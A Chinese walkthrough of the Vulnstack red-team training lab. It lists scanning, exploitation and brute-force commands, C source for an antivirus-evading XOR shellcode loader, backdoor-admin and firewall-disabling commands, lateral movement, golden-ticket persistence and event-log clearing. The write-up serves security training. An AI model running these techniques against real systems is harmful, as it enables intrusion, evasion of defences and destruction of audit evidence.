ATT&CK红队评估实战靶场二
靶场搭建 靶场下载 下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 账户:administrator 密码:1qaz@WSX 下载完成后分别为WEB和PC机器添加一块外网网卡,NAT模式 网络拓扑 win11 IP:192.168.73.1 网关:192.168.73.2 Kali IP:192.168.73.128 网关
靶场搭建
靶场下载
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
账户:administrator
密码:1qaz@WSX
下载完成后分别为WEB和PC机器添加一块外网网卡,NAT模式



网络拓扑

win11
IP:192.168.73.1
网关:192.168.73.2
Kali
IP:192.168.73.128
网关:192.168.73.2
WEB(server2008)
外网:192.168.73.137
网关:192.168.73.2
内网:10.10.10.80
网关:10.10.10.1
DC(server2012)
内网:10.10.10.10
网关:10.10.10.1
PC(windows7)
外网:192.168.73.136
网关:192.168.73.2
内网:10.10.10.201
网关:10.10.10.1
开启Web服务
进入WBE服务器到C:\Oracle\Middleware\user_projects\domains\base_domain\bin,使用管理员权限依次运行脚本
1、setDomainEnv.cmd
2、startManagedWebLogic.cmd
3、startWebLogic.cmd
信息收集
端口扫描
nmap -sP 192.168.73.0/24
//使用nmap扫描73网段存活主机

其中192.168.73.137为目标web服务器,对web服务器进行端口扫描
nmap -sS -sV -Pn 192.168.73.137
-sS TCP SYN扫描
-sV 探测开放端口的服务版本
-Pn 不使用ICMP包进行扫描

扫描出开放的端口、MAC地址、系统版本信息
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 16:53 CST
Nmap scan report for 192.168.73.137
Host is up (0.00062s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2
3389/tcp open ms-wbt-server?
7001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:68:D3:73 (VMware)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.55 seconds
端口渗透思路
| 80 | IIS目录遍历、缓冲区溢出、文件解析漏洞、iIIS put漏洞 |
|---|---|
| 135 | MS08-067 |
| 139/445 | 永恒之蓝、NetBIOS信息泄露、SMB中间人攻击 |
| 1433 | SQL注入、弱口令 |
| 3389 | 密码爆破、CVE-2019-0708 |
| 7001 | WebLogic反序列化、未授权访问 |
| 49152-49154 | MS08-067 |
目录扫描
针对80,7001端口进行目录扫描
python .\dirsearch.py -u "http://192.168.73.137/"

python .\dirsearch.py -u "http://192.168.73.137:7001/"

7001端口扫出了一个WebLogic登录页面

访问发现其版本为10.3.6.0,有很大的可能存在历史漏洞
漏洞利用
最终目标是获取权限,所以首先测试那些能够直接一步到位获取shell的漏洞
135端口渗透
135端口开放的MSRPC服务可能存在DCOM RPC漏洞(MS08-067)
MS08-067的漏洞影响范围
-
Windows 2000 Windows XP Windows Server 2003因为在前期扫描端口的过程中探测到目标服务器版本为Windows Server 2008,微软已经修复了该版本的漏洞。
139/445端口渗透
139/445端口可能存在永恒之蓝漏洞(MS17-010)
漏洞影响范围
Windows XP、 Windows Server 2003. Windows Vista、Windows Server 2008、 Windows 7. Windows Server2008 R2、Windows 8.1、Windows Server 2012. Windows10、Windows Server 2012 R2、Windows Server 2016
显然Windows Server 2008是包含在内的,可以尝试使用MSF打一波永恒之蓝
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.73.137
exploit

这里提示是存在永恒之蓝漏洞的,进一步进行利用
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.73.137
exploit

漏洞存在,但是获取不到shell,猜测可能是目标装了防护软件

果然,WEB服务器上部署了杀毒软件某60
3389端口渗透(CVE-2019-0708)
CVE-2019-0708是微软于2019年05月14日发布的一个严重的RDP远程代码执行漏洞。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。
2019年09月07日,@rapid7 在其metasploit-framework仓库公开发布了CVE-2019-0708的利用模块,漏洞利用工具已经开始扩散,已经构成了蠕虫级的攻击威胁。
漏洞影响范围
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
Windows 8和Windows 10及之后版本的用户不受此漏洞影响
漏洞利用
search 0708
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set rhosts 192.168.73.137
show options
exploit

扫描出系统是存在该漏洞的,尝试利用
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.73.137
show targets
set target 1
run


执行exp后发现目标主机蓝屏了,将WEB服务器重启后再次进行getshell
msfconsole
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.73.137
show targets
set target 1
run
打了几次payload下来仍然获得不了shell,果断放弃

尝试爆破3389
后台放一个hydra静默去爆破RDP服务
hydra 192.168.73.137 rdp -l Administrator -P /root/Desktop/passwd-CN-Top10000.txt -V -F

7001端口渗透(WebLogic)
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。
Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。
常见漏洞总结
1、任意文件上传漏洞(CVE-2018-2894)
影响范围
10.3.6,12.1.3,12.2.1.2,12.2.1.3
2、XMLDecoder反序列化漏洞(CVE-2017-10271)
影响范围
10.3.6.0,12.1.3.0.0,12.2.1.1.0
3、反序列化漏洞(CVE-2018-2628)
影响范围
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
4、未授权命令执行漏洞(CVE-2020-14882)
影响范围
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
5、Weblogic CVE-2020-2555
影响范围
Oracle Coherence 3.7.1.17
Oracle Coherence & Weblogic 12.1.3.0.0、12.2.1.3.0、2.2.1.4.06、弱口令登录
弱口令组合
system:password weblogic:weblogic admin:secruity joe:password mary:password system:sercurity wlcsystem: wlcsystem weblogic:Oracle@123
漏洞扫描
WeblogicScanner
工具下载地址:https://github.com/0xn0ne/weblogicScanner
python ws.py -t 192.168.73.137

漏洞利用
WeblogicTool
工具下载地址:
https://github.com/KimJun1010/WeblogicTool/
java8 -jar .\WeblogicTool_1.3.jar

可以执行系统命令,注入内存马,哥斯拉连接上去

tasklist /svc //查看系统进程

发现目标主机上是安装了某60的,目前是管理员权限、有两种绕过的思路,第一种就是自写免杀shellcode,第二种就是远程桌面连上去手动关闭某60,因为在前期信息收集过程中收集到3389端口是开放的,为了节省时间,这里我先选择第二种方式,但是在实际的红队项目中,手动关闭杀软是一种高危操作,很容易被检测设备或者蓝队人员发现。
net user canxue 2005.com /add
net localgroup Administrators canxue /add
命令打上去之后没有反应,估计又被杀软拦截了。

果然操作直接被ban了,只好自写免杀shellcode
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char shellcode[] = "异或编码后的shellcode";
unsigned SC_len = sizeof(shellcode);
//VirtualAllo动态调用
typedef LPVOID
(*WINAPI
VirtualAllocFunc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
unsigned char T4MXJ[] = { 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x00 };
HMODULE hKernel32 = LoadLibraryA((LPCSTR)"Kernel32.dll");
VirtualAllocFunc pVirtualAlloc = (VirtualAllocFunc)GetProcAddress(hKernel32, (LPCSTR)T4MXJ);
//VirtualProtect动态调用
typedef BOOL
(*WINAPI
VirtualProtectFunc)(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
unsigned char bZGQE[] = { 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x00 };
VirtualProtectFunc pVirtualProtect = (VirtualProtectFunc)GetProcAddress(hKernel32, (LPCSTR)bZGQE);
//CreateThread动态调用
typedef HANDLE
(*WINAPI
CreateThreadFunc)(
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ __drv_aliasesMem LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
unsigned char ovcnw[] = { 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00 };
CreateThreadFunc pCreateThread = (CreateThreadFunc)GetProcAddress(hKernel32, (LPCSTR)ovcnw);
int main(int argc,char* argv[]) {
int xo = atoi(argv[1]);
printf("%d\n", xo);
for (int i = 0; i < SC_len; i++) {
shellcode[i] ^= xo;//异或解码
//printf("\\x%x", shellcode[i]);
}
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = pVirtualAlloc(0, SC_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, SC_len);
rv = pVirtualProtect(exec_mem, SC_len, PAGE_EXECUTE_READ, &oldprotect);
if (rv != 0)
{
th = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);//创建线程
WaitForSingleObject(th, -1);
}
return 0;
}
把免杀的shellcode上传到目标机器上


趁着木马还没有被AI引擎和云沙箱发现,赶紧上线

添加一个管理员账户
shell net user canxue 2005.com /add
shell net localgroup Administrators canxue /add

远程桌面连接上去
canxue
2005.com

连接上去后立刻把360退出,把shellcode复制上去执行,上线canxue这个账户。

权限提升
svc提权
使用CS自带的svc提权



可以直接获取system权限。
关闭防火墙
shell netsh advfirewall show all state //查看防火墙状态
shell netsh advfirewall set allprofile state off //关闭防火墙

域渗透
信息收集
查看是否存在域环境
shell ipconfig /all

发现da1ay.com域

查看用户组
shell net localgroup

这里获取不到用户组信息
shell net view /domain

仍然是报错
查看域控
shell net group "domain controllers" /domain

域控机器为DC
查看域环境其他成员

域内成员为DC(域控),PC,WEB(当前控制的主机)
端口扫描
使用CS自带的端口扫描


成功把域内的其他主机扫描出来了
DC 10.10.10.10 开放端口135 139 88 53 3389 445
PC 10.10.10.201 开放端口135 139 3389 445
查看域内所有用户
shell net user /domain

查看域管理员
shell net group "domain admins" /domain

抓取明文密码


横向移动
通过内网信息收集工作,发现DC和PC都开放了445端口
创建smb监听器

psexec横向移动
使用psexec和抓取到的明文密码横向移动



成功拿下域控主机
按照同样的方法,横向渗透PC主机




到此为止,已经成功拿下整个域环境
权限维持
hashdump
从DC中使用hashdump获得krbtgt的hash值,krbtgt用户是域中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
获取SID
shell wmic useraccount get uid

S-1-5-21-2756371121-2868759905-3853650604-1001
制作黄金票据


访问C盘
shell dir \\10.10.10.10\c$

痕迹清除
shell wevtutil el 列出系统中所有日志名称
shell wevtutil cl system 清理系统日志
shell wevtutil cl application 清理应用程序日志
shell wevtutil cl security 清理安全日志
